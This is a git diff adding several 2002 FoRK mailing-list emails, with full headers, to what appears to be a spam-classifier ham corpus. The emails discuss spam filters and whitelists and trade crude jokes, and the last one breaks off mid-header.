+User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Rohit Khare +Cc: fork@spamassassin.taint.org, Kragen Sitaker +Subject: Re: HD/ID: High-Def Independence Day +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 18:50:53 -0700 + +Rohit Khare wrote: +> Yes, on a mailing list awash in crap -- and some it is even unsolicited +> commercial email, heavens! -- our trusty mailman filters captured and +> quarantined just two posts that week, one from me that was > 100K (the +> fat articles) and one that was bcc:d (the invite). + +Wait... I didn't think we had any filters set up on FoRK. +Kragen, do you know of any? + +I personally have FoRK delivered to an address (napier%waste.org) +that has SpamAssassin enabled, agressively, where it just nukes +anything it thinks is spam. Usually I figure if I miss a FoRK post, +no big deal, I'll pick it up by the replies if it's interesting. + +For personal mail (joe%barrera.org) I either don't use SpamAssassin, +or use it but where it just flags messages instead of nuking them. +So if someone is sending a message just to me, I'll get it even +if it looks like spam. + +So in other words, Rohit, if you had sent to joe%barrera.org, I +guess I would have received it in a timely fashion. + +So where's all that booze? When's the retry? +Every robust protocol needs a retry strategy -- +what's yours? + +- Joe the Angry Dwarf + +P.S. Ain't no dwarf. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00819.39ff42965811bdaa6826039609cb6c15 b/bayes/spamham/easy_ham_2/00819.39ff42965811bdaa6826039609cb6c15 new file mode 100644 index 0000000..276f6d6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00819.39ff42965811bdaa6826039609cb6c15 @@ -0,0 +1,77 @@ +From fork-admin@xent.com Wed Jul 24 03:40:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D54FB440CC + for ; Tue, 23 Jul 2002 22:40:51 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 03:40:51 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O2cl415221 for ; + Wed, 24 Jul 2002 03:38:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 32D4D29410B; Tue, 23 Jul 2002 19:28:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 9219D294109 for ; + Tue, 23 Jul 2002 19:27:03 -0700 (PDT) +Received: from maya.dyndns.org (ts5-034.ptrb.interhop.net + [165.154.190.98]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6O2BPN15917; Tue, 23 Jul 2002 22:11:26 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 610271C39E; + Tue, 23 Jul 2002 22:35:56 -0400 (EDT) +To: harley@argote.ch (Robert Harley) +Cc: fork@spamassassin.taint.org +Subject: Re: My brain hurts +References: <20020723224802.E54D3C44E@argote.ch> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 23 Jul 2002 22:35:56 -0400 + + +You're in luck because my mom sends these all the time and I never +have anything else to do with them ... + + An old man lived alone in Minnesota. He wanted to spade his potato garden, +but it was very hard work. + His only son, who would have helped him, was in Prison. The old man wrote +a letter to his son and mentioned his predicament. + Shortly, he received this reply, "For heaven's sake Dad, don't dig up that +garden, that's where I buried the GUNS!" + At 4 A.M. the next morning, a dozen police showed up and dug up the old +man's entire garden, without finding any guns. + Confused, the old man wrote another note to his son telling him what +happened, and asking him what to do next. + His son's reply was: "Now plant your potatoes, Dad. It's the best +I could do at this time." + +but better than that, just settle into this, courtesy of daypop: +http://xroads.virginia.edu/~UG02/yeung/actioncomics/cover.html + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00820.e5d2e908488ec046b304739017aa4d8b b/bayes/spamham/easy_ham_2/00820.e5d2e908488ec046b304739017aa4d8b new file mode 100644 index 0000000..1203ebb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00820.e5d2e908488ec046b304739017aa4d8b @@ -0,0 +1,137 @@ +From fork-admin@xent.com Wed Jul 24 04:32:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 65EC7440CC + for ; Tue, 23 Jul 2002 23:32:24 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 04:32:24 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O3Wk417614 for ; + Wed, 24 Jul 2002 04:32:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4DA7E2940F2; Tue, 23 Jul 2002 20:22:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id A22B82940ED for ; Tue, + 23 Jul 2002 20:21:44 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id E8F843ED5C; + Tue, 23 Jul 2002 23:30:55 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id E0F613ED46; Tue, 23 Jul 2002 23:30:55 -0400 (EDT) +From: Tom +To: Robert Harley +Cc: fork@spamassassin.taint.org +Subject: Re: My brain hurts +In-Reply-To: <20020723224802.E54D3C44E@argote.ch> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 23:30:55 -0400 (EDT) + +On Wed, 24 Jul 2002, Robert Harley wrote: + +--]Working too hard... +--] +--]Someone tell me a joke, or email me a beer or something... + +You asked for it.... + +Ladies and Gentlebeans....its time now for Shlepy Shlepman and Frenchy +along with there all groan reviews..... + +Shlepy> Heya heya heya ..I just flew in from defcon and boy are my ports +tierd.....waka waka + +Frenchie>Des Amricains, je vous dteste et tous que vous reprsentez. Vous +tes des porcs. + +Shlepy>Say Frenchie, how do you castrate a frenchmen??? + +Frenchie>Est-elle cette une autre mauvaise plaisanterie? Je ne sais pas, +satisfaire vous rends ce drole singe global d'ane. + +Shlepy>You kick his sister in the jaw. + +Frenchie>Je suis dans l'enfer. + +Shelpy>Dont he speak funny folks? yep them French are mighty bizzare. +They do things very differently over there. For instace you know why +they dont have fireworks at Euro Disney? + +Frenchie> Puisque nous soufflerions plutt nos ttes outre de qu'observe un +infrieur brut classer la clbration amricaine? + +Shlepy>What ever ya said, nope..Because every time they shoot +them off, the French try to surrender. + +Frenchie>Etant donn le choix entre les Allemands et vous que je +nettoierais heureusement versez les stalles dans les camps alors doivent +aller vos parcs d'amusement. + +Shlepy> Aint he the continental one....Speaking of global +politics....Three guys, an Englishman, a Frenchman and an American are out +walking along the beach together one day. They come across a lantern and a +genie pops out of it. "I will give you each one wish, " says the genie. +The American says, "I am a farmer, my dad was a farmer, and my son will +also farm. I want the land to be forever fertile in America." With a blink +of the genie's eye, 'FOOM' - the land in America was forever made +fertile for farming. The Frenchman was amazed, so he said, "I want a wall +around France, so that no one can come into our precious country." Again, +with a blink of the Genie's eye, 'POOF' - there was a huge wall around +France. The Englishman asks, "I'm very curious. Please tell me more about +this wall. The Genie explains, "Well, it's about 150 feet high, 50 feet +thick and nothing can get in or out." The Englishman says, "Fill it up +with water." + +Fenchie>Plutt nous devrions nous noyer que mangent la cuisine anglaise. + +Shlpey> Them French, you dont know what they are on about but damn it sure +sounds romantic. And you knwo they are great lovers those french are. A +psychology professor decided to study the way in which different people +from different parts of Europe have sex with sheep. He traveled first to +Wales, where he asks a farmer to explain his method: "Well, boyo, I put +her back legs down my nice green wellies, grab her with me velcro gloves, +and we're well away. Tidy!" The professor tries Scotland next "Hoots an' +toots man, I put her back legs down my nice green wellies, grab her with +me velcro gloves, and we're well away. Och aye tha noo!" The professor +moves on to Germany: "Well, I find the most efficient way is to grab her +with my velcro gloves, and we're well away. The professor is noticing a +pattern developing, so he decides to try France, and then end his +investigation. He stops a bloke by the Eiffel tower named Pierre, and +asks him to explain the French method: "Well monsieur, I put her back legs +down my nice green wellies, sling her front legs over me shoulders, and +that's all there is to it!" The professor is excited to have found some +national variation and tells Pierre that this is different to the methods +of the Scots, Welsh and Germans. "How do they do it then?" asks Pierre, +and the professor explains. Pierre on hearing the explanation walks of +disgusted. "What! No kissing?" + +Frenchie>Voil. J'ai stopp. + +Shlepy> Hey, where you going with the sheep, we need them for the next +act.... + +A little traveling music maestro. + + + +-tomwsmf + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00821.ecfe5e599c9cdec3a6fa0f5d87674f69 b/bayes/spamham/easy_ham_2/00821.ecfe5e599c9cdec3a6fa0f5d87674f69 new file mode 100644 index 0000000..0eab6c2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00821.ecfe5e599c9cdec3a6fa0f5d87674f69 @@ -0,0 +1,58 @@ +From fork-admin@xent.com Wed Jul 24 04:47:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E8F24440CD + for ; Tue, 23 Jul 2002 23:47:41 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 04:47:41 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O3kf418126 for ; + Wed, 24 Jul 2002 04:46:42 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id AB8D0294137; Tue, 23 Jul 2002 20:32:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from c007.snv.cp.net (h013.c007.snv.cp.net [209.228.33.241]) by + xent.com (Postfix) with SMTP id 4E360294136 for ; + Tue, 23 Jul 2002 20:31:27 -0700 (PDT) +Received: (cpmta 23426 invoked from network); 23 Jul 2002 20:40:37 -0700 +Received: from 65.189.7.13 (HELO alumni.rice.edu) by + smtp.directvinternet.com (209.228.33.241) with SMTP; 23 Jul 2002 20:40:37 + -0700 +X-Sent: 24 Jul 2002 03:40:37 GMT +Message-Id: <3D3E20A2.70403@alumni.rice.edu> +From: Wayne E Baisley +User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4) + Gecko/20011128 Netscape6/6.2.1 +X-Accept-Language: en-us +MIME-Version: 1.0 +To: Robert Harley +Cc: fork@spamassassin.taint.org +Subject: Re: My brain hurts +References: <20020723224802.E54D3C44E@argote.ch> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 22:36:02 -0500 + +Perhaps it's time to revisit ... + +http://www.engrish.com/recentdiscoveries.html + +"evirob" is the essence of weird life. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00822.8fd6be728df2b49bd24e9293a9a45db5 b/bayes/spamham/easy_ham_2/00822.8fd6be728df2b49bd24e9293a9a45db5 new file mode 100644 index 0000000..0d43368 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00822.8fd6be728df2b49bd24e9293a9a45db5 @@ -0,0 +1,75 @@ +From fork-admin@xent.com Wed Jul 24 04:47:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7FE1B440CC + for ; Tue, 23 Jul 2002 23:47:41 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 04:47:41 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O3fk418025 for ; + Wed, 24 Jul 2002 04:41:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DAF0F29410F; Tue, 23 Jul 2002 20:31:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hall.mail.mindspring.net (hall.mail.mindspring.net + [207.69.200.60]) by xent.com (Postfix) with ESMTP id 366B72940F2 for + ; Tue, 23 Jul 2002 20:30:18 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + hall.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17XCzp-0005ms-00 for + fork@xent.com; Tue, 23 Jul 2002 23:39:29 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +In-Reply-To: <3D3DF927.4000108@barrera.org> +References: <3D3DE9EB.70307@permafrost.net> <3D3DF927.4000108@barrera.org> +To: fork@spamassassin.taint.org +From: "R. A. Hettinga" +Subject: "Ouch. Ouch. Ouch. Ouch. Ouch...."(was Re: My brain hurts) +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 23:22:04 -0400 + +At 5:47 PM -0700 on 7/23/02, Joseph S. Barrera III wrote: + + +> And the pirate says, "Aaar, its driving me nuts!" + +I can do better pirate jokes than *that*. + +Like, what's the 18th letter of the Pirate alphabet? + +No? + +Okay, a pirate koan then. What's the sound of a pirate clapping? + + + +:-). + +Cheers, +RAH + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00823.d8ecd70437b16c3ecb0e8a496c34514b b/bayes/spamham/easy_ham_2/00823.d8ecd70437b16c3ecb0e8a496c34514b new file mode 100644 index 0000000..3fb52aa --- /dev/null +++ b/bayes/spamham/easy_ham_2/00823.d8ecd70437b16c3ecb0e8a496c34514b @@ -0,0 +1,65 @@ +From fork-admin@xent.com Wed Jul 24 07:21:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8CAFB440CC + for ; Wed, 24 Jul 2002 02:21:32 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 07:21:32 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O6Fm424214 for ; + Wed, 24 Jul 2002 07:15:49 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 29E98294131; Tue, 23 Jul 2002 23:05:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from t2.serverbox.net (t2.serverbox.net [64.71.187.100]) by + xent.com (Postfix) with SMTP id 50AD329410F for ; + Tue, 23 Jul 2002 23:04:07 -0700 (PDT) +Received: (qmail 12619 invoked from network); 24 Jul 2002 06:13:18 -0000 +Received: from unknown (HELO techdirt) (12.236.16.241) by t2.serverbox.net + with SMTP; 24 Jul 2002 06:13:18 -0000 +Message-Id: <3.0.32.20020723231125.03bc2cf0@techdirt.com> +X-Sender: mike@techdirt.com +X-Mailer: Windows Eudora Pro Version 3.0 (32) -- [Cornell Modified] +To: "Gordon Mohr" , +From: Mike Masnick +Subject: Re: Mossberg on 'ChoiceMail': "In my tests, it cut my spam to zero." +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 23:11:33 -0700 + +At 10:46 PM 7/23/02 -0700, Gordon Mohr wrote: +>Surprised this wasn't already passed through here: about a +>week and a half ago, Walter Mossberg reviewed ChoicEMail, +>a spam-fighting tool where new, unknown senders have to +>request passage through your whitelist-based mailwall. + +Lately, a fairly large % of the spam I've been getting has been coming from +spam systems that forge my own address as the "from" address... Those spam +messages would get through any whitelist I set up (especially since I email +stuff to myself all the time). If whitelists become more popular, I +imagine spammers will resort to doing that for the majority of their spams, +making whitelists less helpful. + +Plus, I'm still not sure how I feel about whitelists. I don't think I'm so +special that people should need to fill out a special form just to send me +email. I could see certain friends of mine getting fairly annoyed +(especially those with multiple email addresses...). + +-Mike +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00824.e26eecaa9810cd5561f057ed49e9b5fb b/bayes/spamham/easy_ham_2/00824.e26eecaa9810cd5561f057ed49e9b5fb new file mode 100644 index 0000000..8d53799 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00824.e26eecaa9810cd5561f057ed49e9b5fb @@ -0,0 +1,87 @@ +From fork-admin@xent.com Wed Jul 24 09:16:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 98B3D440CC + for ; Wed, 24 Jul 2002 04:16:04 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 09:16:04 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O8Em429296 for ; + Wed, 24 Jul 2002 09:14:49 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D22432940F0; Wed, 24 Jul 2002 01:04:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (isolnetsux.techmonkeys.net + [64.243.46.20]) by xent.com (Postfix) with SMTP id 99C3D2940A1 for + ; Wed, 24 Jul 2002 01:03:08 -0700 (PDT) +Received: (qmail 6603 invoked by uid 501); 24 Jul 2002 08:12:20 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 24 Jul 2002 08:12:20 -0000 +From: CDale +To: Gary Lawrence Murphy +Cc: Robert Harley , +Subject: Re: My brain hurts +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 03:12:20 -0500 (CDT) + +I have a similar one: +Bubba calls up the DEA and tells em that JoeBob is growing pot and +hiding it in his back yard. They go over, find nothing, and go ask Bubba +what he was talking about. Bubba tells em it's in JoeBob's woodpile. So +they go chop up all the wood and look through it and scatter it all over +the yard, but find nothing. They ask Bubba again, and he tells them that +JoeBob must have already sold it, so they leave. Bubba calls up JoeBob: +Bubba: You get your wood chopped?' +JoeBob: Yep, thanks, I'll give ya 15 bucks tomorrow. (: + +sillyhead + +On 23 Jul 2002, Gary Lawrence Murphy wrote: + +> +> You're in luck because my mom sends these all the time and I never +> have anything else to do with them ... +> +> An old man lived alone in Minnesota. He wanted to spade his potato garden, +> but it was very hard work. +> His only son, who would have helped him, was in Prison. The old man wrote +> a letter to his son and mentioned his predicament. +> Shortly, he received this reply, "For heaven's sake Dad, don't dig up that +> garden, that's where I buried the GUNS!" +> At 4 A.M. the next morning, a dozen police showed up and dug up the old +> man's entire garden, without finding any guns. +> Confused, the old man wrote another note to his son telling him what +> happened, and asking him what to do next. +> His son's reply was: "Now plant your potatoes, Dad. It's the best +> I could do at this time." +> +> but better than that, just settle into this, courtesy of daypop: +> http://xroads.virginia.edu/~UG02/yeung/actioncomics/cover.html +> +> + +-- +"My theology, briefly, is that the universe was dictated but not + signed." (Christopher Morley) + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00825.27263f8c262ba33a858e0ebff56510cf b/bayes/spamham/easy_ham_2/00825.27263f8c262ba33a858e0ebff56510cf new file mode 100644 index 0000000..cc70e5a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00825.27263f8c262ba33a858e0ebff56510cf @@ -0,0 +1,79 @@ +From fork-admin@xent.com Wed Jul 24 10:55:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 306EB440CC + for ; Wed, 24 Jul 2002 05:55:23 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 10:55:23 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O9po402167 for ; + Wed, 24 Jul 2002 10:51:51 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 288CB29410C; Wed, 24 Jul 2002 02:41:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 73DD82940F0 for + ; Wed, 24 Jul 2002 02:40:26 -0700 (PDT) +Received: (qmail 25165 invoked by uid 508); 24 Jul 2002 09:49:37 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.47) by + venus.phpwebhosting.com with SMTP; 24 Jul 2002 09:49:37 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g6O9nU820638; Wed, 24 Jul 2002 11:49:31 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Mike Masnick +Cc: Gordon Mohr , +Subject: Re: Mossberg on 'ChoiceMail': "In my tests, it cut my spam to zero." +In-Reply-To: <3.0.32.20020723231125.03bc2cf0@techdirt.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 11:49:30 +0200 (CEST) + +On Tue, 23 Jul 2002, Mike Masnick wrote: + +> Lately, a fairly large % of the spam I've been getting has been coming +> from spam systems that forge my own address as the "from" address... + +Include a random token with an expiration date with anything you send. +Valid whitelisting of From:you@here.net yet invalid random token would get +blocked. + +> Those spam messages would get through any whitelist I set up +> (especially since I email stuff to myself all the time). If +> whitelists become more popular, I imagine spammers will resort to +> doing that for the majority of their spams, making whitelists less +> helpful. + +Spammers cannot be bothered to keep track if individual whitelists +associated with a given email address. + +> Plus, I'm still not sure how I feel about whitelists. I don't think I'm so +> special that people should need to fill out a special form just to send me + +Of course you populate your whitelist with contents of your inbox minus +spam, and then add manually stuff from your addressbook. + +> email. I could see certain friends of mine getting fairly annoyed +> (especially those with multiple email addresses...). + +What's the point of multiple email addresses? They're a pain. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00826.b128ecf0f8573722f8a41e6927c4c252 b/bayes/spamham/easy_ham_2/00826.b128ecf0f8573722f8a41e6927c4c252 new file mode 100644 index 0000000..d9e3677 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00826.b128ecf0f8573722f8a41e6927c4c252 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Wed Jul 24 12:11:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 38995440CC + for ; Wed, 24 Jul 2002 07:10:59 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 12:10:59 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OB7q408208 for ; + Wed, 24 Jul 2002 12:07:53 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E35B4294134; Wed, 24 Jul 2002 03:57:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mandark.labs.netnoteinc.com (unknown [213.105.180.140]) by + xent.com (Postfix) with ESMTP id B718B294131 for ; + Wed, 24 Jul 2002 03:56:40 -0700 (PDT) +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g6OB5Tp18114; Wed, 24 Jul 2002 12:05:31 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + 4CE70440CC; Wed, 24 Jul 2002 07:04:06 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4775B33E50; + Wed, 24 Jul 2002 12:04:06 +0100 (IST) +To: Rohit Khare +Cc: fork@spamassassin.taint.org +Subject: Re: HD/ID: High-Def Independence Day +In-Reply-To: Message from Rohit Khare of + "Tue, 23 Jul 2002 12:25:33 PDT." + +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Message-Id: <20020724110406.4CE70440CC@phobos.labs.netnoteinc.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 12:04:01 +0100 + + +Rohit Khare said: + +> > SpamAssassin rated it spam (barely). Gotta stop +> > using those "words and phrases which indicate porn" :-) +> Yes, boys and girls, Mr. Assassin, like Mr. Lott, gets very annoyed if +> you call the Great American Shrine a... "boob tube" + +Er, patches gratefully accepted ;) + +--j. + +-- +'Justin Mason' => { url => 'http://jmason.org/', blog => 'http://taint.org/' } +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00827.9eeade6e8d5bd981fb4fe82132f2645e b/bayes/spamham/easy_ham_2/00827.9eeade6e8d5bd981fb4fe82132f2645e new file mode 100644 index 0000000..c27857c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00827.9eeade6e8d5bd981fb4fe82132f2645e @@ -0,0 +1,71 @@ +From fork-admin@xent.com Wed Jul 24 12:19:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BBB87440CC + for ; Wed, 24 Jul 2002 07:19:08 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 12:19:08 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by 